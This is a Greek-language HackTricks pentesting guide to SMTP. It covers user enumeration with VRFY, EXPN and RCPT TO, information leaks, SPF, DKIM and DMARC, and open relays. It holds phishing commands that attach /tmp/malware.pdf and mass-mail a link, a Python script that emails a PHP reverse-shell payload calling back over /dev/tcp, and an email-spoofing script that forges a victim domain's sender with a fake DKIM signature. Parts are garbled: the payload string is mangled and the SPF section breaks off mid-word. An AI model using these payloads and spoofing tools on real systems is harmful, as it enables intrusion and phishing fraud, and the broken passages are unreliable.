hacktricks/network-services-pentesting/pentesting-smtp
2024-04-06 18:31:47 +00:00
..
README.md GitBook: No commit message 2024-04-06 18:31:47 +00:00
smtp-commands.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 18:40:30 +00:00
smtp-smuggling.md GitBook: No commit message 2024-04-06 18:31:47 +00:00

25,465,587 - Pentesting SMTP/s

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρός Συνεργάτης AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & ελέγχο διείσδυσης. Εκτελέστε έναν πλήρη έλεγχο διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους ελεγκτές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο για να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.

{% embed url="https://pentest-tools.com/" %}

Βασικές Πληροφορίες

Το Πρωτόκολλο Αποστολής Απλού Μηνύματος (SMTP) είναι ένα πρωτόκολλο που χρησιμοποιείται στο πλαίσιο του TCP/IP για την αποστολή και λήψη ηλεκτρονικού ταχυδρομείου. Λόγω των περιορισμών του στην ουρά των μηνυμάτων στον παραλήπτη, το SMTP χρησιμοποιείται συχνά σε συνδυασμό με τα πρωτόκολλα POP3 ή IMAP. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα κουτί ταχυδρομείου εξυπηρετητή και να τα κατεβάζουν περιοδικά.

Στην πράξη, είναι συνηθισμένο για τα προγράμματα ηλεκτρονικού ταχυδρομείου να χρησιμοποιούν το SMTP για την αποστολή ηλεκτρονικών μηνυμάτων, ενώ χρησιμοποιούν το POP3 ή IMAP για τη λήψη τους. Σε συστήματα βασισμένα σε Unix, το sendmail ξεχωρίζει ως ο πιο συχνά χρησιμοποιούμενος SMTP εξυπηρετητής για σκοπούς ηλεκτρονικού ταχυδρομείου. Το εμπορικό πακέτο γνωστό ως Sendmail περιλαμβάνει έναν εξυπηρετητή POP3. Επιπλέον, το Microsoft Exchange παρέχει έναν εξυπηρετητή SMTP και προσφέρει τη δυνατότητα να περιλαμβάνει υποστήριξη POP3.

Προεπιλεγμένη θύρα: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Κεφαλίδες EMAIL

Εάν έχετε την ευκαιρία να κάνετε το θύμα να σας στείλει email (μέσω φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί μπορείτε να μάθετε για την εσωτερική τοπολογία του θύματος βλέποντας τις κεφαλίδες του email.

Μπορείτε επίσης να λάβετε ένα email από έναν διακομιστή SMTP προσπαθώντας να στείλει σε αυτόν τον διακομιστή ένα email σε μια μη υπαρκτή διεύθυνση (επειδή ο διακομιστής θα στείλει στον επιτιθέμενο ένα μήνυμα NDN). Ωστόσο, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λαμβάνετε μηνύματα NDN.

Θα πρέπει επίσης να προσπαθήσετε να στείλετε διαφορετικού περιεχομένου μηνύματα επειδή μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες στις κεφαλίδες όπως: X-Virus-Scanned: by av.domain.com
Θα πρέπει να στείλετε το αρχείο δοκιμής EICAR.
Η ανίχνευση του AV μπορεί να σας επιτρέψει να εκμεταλλευτείτε γνωστές ευπάθειες.

Βασικές ενέργειες

Ανάκτηση Banner/Βασική σύνδεση

SMTP:

nc -vn <IP> 25

SMTPS:

Το SMTPS είναι η ασφαλής έκδοση του πρωτοκόλλου SMTP που χρησιμοποιεί κρυπτογράφηση για την προστασία των επικοινωνιών.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Εύρεση διακομιστών MX μιας οργάνωσης

dig +short mx google.com

Απαρίθμηση

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Διαρροή Πληροφοριών

Εάν ο διακομιστής υποστηρίζει την NTLM auth (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες εδώ.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ή αυτοματοποιήστε αυτό με το πρόσθετο nmap smtp-ntlm-info.nse

Όνομα εσωτερικού διακομιστή - Διαρροή πληροφοριών

Κάποιοι διακομιστές SMTP συμπληρώνουν αυτόματα τη διεύθυνση αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Κατασκοπεία

Ελέγξτε αν κατασκοπεύετε κάποιον κωδικό πρόσβασης από τα πακέτα προς τη θύρα 25

Επίθεση με αναίρεση ταυτότητας

Απαρίθμηση με αναίρεση ονόματος χρήστη

Η ταυτοποίηση δεν είναι πάντα απαραίτητη

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

Επαλήθευση (VRFY)

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

Η εντολή EXPN χρησιμοποιείται για να επιβεβαιώσει την ύπαρξη ενός συγκεκριμένου χρήστη στον SMTP server. Αν ο server είναι ρυθμισμένος να επιτρέπει την επιβεβαίωση χρηστών, η εντολή EXPN θα επιστρέψει το πλήρες όνομα του χρήστη. Αυτό μπορεί να είναι χρήσιμο για επιθέσεις social engineering ή για τη συλλογή πληροφοριών για μελλοντικές επιθέσεις.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Αυτόματα εργαλεία

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.

{% embed url="https://pentest-tools.com/" %}

Αναφορές DSN

Αναφορές Ειδοποίησης Κατάστασης Παράδοσης: Εάν στείλετε ένα email σε μια οργάνωση σε μια μη έγκυρη διεύθυνση, η οργάνωση θα ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα email πίσω σε εσάς. Τα headers του επιστρεφόμενου email θα περιέχουν πιθανές ευαίσθητες πληροφορίες (όπως η IP διεύθυνση των υπηρεσιών email που αλληλεπιδρούν με τις αναφορές ή πληροφορίες λογισμικού αντιιών).

Εντολές

Αποστολή Email από την κονσόλα του Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Αποστολή Email με Python

Κώδικας σε Python εδώ

```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Λειτουργία Εκμετάλλευσης

Η ευπάθεια SMTP Εκμετάλλευσης επέτρεπε την παράκαμψη όλων των προστασιών SMTP (ελέγξτε την επόμενη ενότητα για περισσότερες πληροφορίες σχετικά με τις προστασίες). Για περισσότερες πληροφορίες σχετικά με την SMTP Εκμετάλλευση, ελέγξτε:

<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>

[smtp-smuggling.md](smtp-smuggling.md)

</div>

## Αντιμέτωπα με την Πλαστογράφηση Ηλεκτρονικού Ταχυδρομείου

Οι οργανισμοί αποτρέπονται από το να αποστέλλουν μη εξουσιοδοτημένα ηλεκτρονικά μηνύματα εξ ονόματος τους χρησιμοποιώντας το **SPF**, **DKIM** και **DMARC** λόγω της ευκολίας πλαστογράφησης μηνυμάτων SMTP.

Ένας **πλήρης οδηγός για αυτές τις αντιμέτωπες μετρήσεις** είναι διαθέσιμος στο [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

<div data-gb-custom-block data-tag="hint" data-style='danger'>

Το SPF [ήταν "αποσυρμένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
Επιπλέον, για την επαναχρησιμοποίηση προηγούμενων εγγραφών spf είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`

</div>

**Πλαίσιο Πολιτικής Αποστολέα** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Μεταφορείς Ηλεκτρονικού Ταχυδρομείου (MTAs) να επαληθεύουν εάν ένας υπολογιστής που αποστέλλει ένα email είναι εξουσιοδοτημένος ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών ηλεκτρονικού ταχυδρομείου που έχουν καθοριστεί από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, domains και άλλες οντότητες **εξουσιοδοτημένες να στείλουν email εξ ονόματος ενός ονόματος domain**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.

#### Μηχανισμοί

Από την [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Μηχανισμός | Περιγραφή                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ΟΛΑ       | Ταιριάζει πάντα· χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς.                                                                                                                                                                                                                                  |
| Α         | Αν το όνομα domain έχει εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να αναλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει.                                                                                                                                                                                                                   |
| IP4       | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv4, ταιριάζει.                                                                                                                                                                                                                                                                              |
| IP6       | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv6, ταιριάζει.                                                                                                                                                                                                                                                                              |
| MX        | Αν το όνομα domain έχει εγγραφή MX που αναλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή το email προέρχεται από έναν από τους εισερχόμενους διακομιστές email του domain).                                                                                                                                                                          |
| PTR       | Αν το όνομα domain (εγγραφή PTR) για τη διεύθυνση του πελάτη βρίσκεται στο δοθέν domain και το όνομα domain αναλύεται στη διεύθυνση του πελάτη (επιβεβαίωσης με αντιστροφή DNS), ταιριάζει. Αυτός ο μηχανισμός αποτρέπεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν.                                                                                     |
| ΥΠΑΡΧΕΙ    | Αν το δοθέν όνομα domain αναλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (ανεξάρτητα από τη διεύθυνση στην οποία αναλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο πολύπλοκα ταιριάματα όπως ερωτήσεις DNSBL.                                                                                                                           |
| ΣΥΜΠΕΡΙΛΑΒΕΤΑΙ   | Αναφέρεται στην πολιτική ενός άλλου domain. Αν η πολιτική αυτού του domain περνά, περνάει και αυτός ο μηχανισμός. Ωστόσο, αν η περιλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να αναθέσετε πλήρως σε μια άλλη πολιτική domain, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης.                                                                                     |
| ΑΝΑΚΑΤΕΥΘΩΣΗ  | <p>Μια ανακατεύθυνση είναι ένας δείκτης προς ένα άλλο όνομα domain που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλά domains να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό domains που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του domain που υποδεικνύεται στον μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.</p> |

Είναι επίσης δυνατό να αναγνωρίσετε **Ποιοτικούς Όρους** που υποδεικνύουν **τι πρέπει να γίνει αν ένας μηχανισμός ταιριάζει**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός "+"** (έτσι αν ταιριάζει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.**

#### Ποιοτικοί Όροι

Κάθε μηχανισμός εντός της πολιτικής μπορεί να προηγηθεί από έναν από τους τέσσερις ποιοτικούς όρους για να ορίσει το επιθυμητό αποτέλεσμα:

* **`+`**: Αντιστοιχεί σε ΑΠΟΤΕΛΕΣΜΑ ΕΠΙΤΥΧΙΑΣ. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό όρο, κάνοντας το `+mx` ισοδύναμο με `mx`.
* **`?`**: Αντιπροσωπεύει ένα ΟΥΔΕΤΕΡΟ αποτέλεσμα, που χειρίζεται παρόμοια με το ΚΑΜΙΑ (καμία συγκεκριμένη πολιτική).
* **`~`**: Δηλώνει ΜΑΛΑΚΗ ΑΠΟΤΥΧΙΑ, λειτουργώντας ως μεσαίο έδαφος μεταξύ ΟΥΔΕΤΕΡΟ και ΑΠΟΤΥΧΙΑ. Τα email που πληρούν αυτό το αποτέλεσμα συνήθως γίνονται δεκτά αλλά επισημαίνονται ανάλογα.
* **`-`**: Υποδεικνύει ΑΠΟΤΥΧΙΑ, υποδηλώνοντας ότι το email θα πρέπει να απορριφθε
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Παραδοσιακά ήταν δυνατό να πλαστογραφηθεί οποιοδήποτε όνομα τομέα που δεν είχε έναν σωστό/κανένα SPF εγγραφή. Σήμερα, αν το email προέρχεται από ένα τομέα χωρίς έγκυρη εγγραφή SPF πιθανόν να απορριφθεί/επισημανθεί ως μη αξιόπιστο αυτόματα.

Για να ελέγξετε το SPF ενός τομέα μπορείτε να χρησιμοποιήσετε online εργαλεία όπως: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

Το DKIM χρησιμοποιείται για την υπογραφή εξερχόμενων emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται σε μια εγγραφή TXT του τομέα. Για να αποκτήσετε πρόσβαση σε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλογέα όσο και το όνομα τομέα.

Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα τομέα και ο επιλογέας είναι απαραίτητοι. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email DKIM-Signature, π.χ., d=gmail.com;s=20120113.

Ένας κώδικας για την ανάκτηση αυτών των πληροφοριών μπορεί να μοιάζει με:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

Το DMARC βελτιώνει την ασφάλεια του ηλεκτρονικού ταχυδρομείου βασιζόμενο στα πρωτόκολλα SPF και DKIM. Ορίζει πολιτικές που καθοδηγούν τους διακομιστές ταχυδρομείου στην διαχείριση των email από ένα συγκεκριμένο domain, συμπεριλαμβανομένου του τρόπου αντιμετώπισης των αποτυχιών πιστοποίησης και του προορισμού για την αποστολή αναφορών σχετικά με τις ενέργειες επεξεργασίας email.

Για να λάβετε τον εγγραφή DMARC, πρέπει να ερευνήσετε τον υποτομέα _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Ετικέτες DMARC

Τι γίνεται με τα Υποτομεία;

Από εδώ.
Χρειάζεστε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο επιθυμείτε να στείλετε email.
Το παρακάτω αναρτήθηκε αρχικά στο openspf.org, το οποίο ήταν κάποτε μια εξαιρετική πηγή γι' αυτόν τον τύπο θεμάτων.

Η Ερώτηση του Δαίμονα: Τι γίνεται με τα υποτομέα;

Αν λάβω email από pielovers.demon.co.uk και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι ένας διαφορετικός πελάτης και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή. Αν ο Demon θέλει να το κάνει αυτό, μπορεί να δημιουργήσει εγγραφές SPF για κάθε υποτομέα.

Έτσι, η συμβουλή προς τους εκδότες SPF είναι η εξής: πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει μια εγγραφή A ή MX.

Οι ιστότοποι με εγγραφές A ή MX με αντιστοίχιση χαρακτήρων θα πρέπει επίσης να έχουν μια εγγραφή SPF με αντιστοίχιση χαρακτήρων, της μορφής: * IN TXT "v=spf1 -all"

Αυτό έχει νόημα - ένα υποτομέα μπορεί εύκολα να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει μια πολύ διαφορετική ορισμένη SPF.

Ανοιχτός Αναμεταδότης

Όταν στέλνονται emails, είναι κρίσιμο να μην επισημαίνονται ως ανεπιθύμητα. Συχνά, αυτό επιτυγχάνεται μέσω της χρήσης ενός αναμεταδότη διακομιστή που εμπιστεύεται ο παραλήπτης. Ωστόσο, μια συνηθισμένη πρόκληση είναι ότι οι διαχειριστές ενδέχεται να μην είναι πλήρως ενήμεροι για τα εύρη IP που είναι ασφαλή να επιτρέψουν. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του διακομιστή SMTP, ένας κίνδυνος που εντοπίζεται συχνά σε αξιολογήσεις ασφαλείας.

Ένα παράκαμψη που χρησιμοποιούν μερικοί διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή υφιστάμενους πελάτες, είναι να επιτρέπουν συνδέσεις από οποιαδήποτε διεύθυνση IP. Αυτό επιτυγχάνεται με τη ρύθμιση της παραμέτρου mynetworks του διακομιστή SMTP για να δέχεται όλες τις διευθύνσεις IP, όπως φαίνεται παρακάτω:

mynetworks = 0.0.0.0/0

Για να ελέγξετε εάν ο διακομιστής ηλεκτρονικού ταχυδρομείου είναι ανοιχτός ανακατευτής (που σημαίνει ότι μπορεί να προωθήσει email από οποιαδήποτε εξωτερική πηγή), χρησιμοποιείται συνήθως το εργαλείο nmap. Περιλαμβάνει ένα συγκεκριμένο script σχεδιασμένο για να ελέγξει αυτό. Η εντολή για να πραγματοποιήσετε μια λεπτομερή σάρωση σε ένα διακομιστή (για παράδειγμα, με IP 10.10.10.10) στη θύρα 25 χρησιμοποιώντας το nmap είναι:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Εργαλεία

Αποστολή Πλαστού Email

Ή μπορείτε να χρησιμοποιήσετε ένα εργαλείο:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Αν λάβετε οποιοδήποτε σφάλμα χρησιμοποιώντας τη βιβλιοθήκη dkim της Python για την ανάλυση του κλειδιού, μπορείτε να χρησιμοποιήσετε το παρακάτω.
ΣΗΜΕΙΩΣΗ: Αυτή είναι μια πρόχειρη επιδιόρθωση για γρήγορους ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί του openssl δεν μπορεί να αναλυθεί από το dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Ή μπορείτε να το κάνετε χειροκίνητα:

# Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα
mail("το_email_σας@gmail.com", "Θέμα Δοκιμής!", "γεια! Αυτό είναι ένα τεστ", "Από: administrator@victim.com");
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Περισσότερες πληροφορίες

Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις προστασίες στο https://seanthegeek.net/459/demystifying-dmarc/

Άλλοι δείκτες αλιείας (phishing indicators)

  • Ηλικία του domain
  • Σύνδεσμοι που οδηγούν σε διευθύνσεις IP
  • Τεχνικές διαχείρισης συνδέσμων
  • Υπούλες (ασυνήθιστα) συνημμένα
  • Κατεστραμμένο περιεχόμενο email
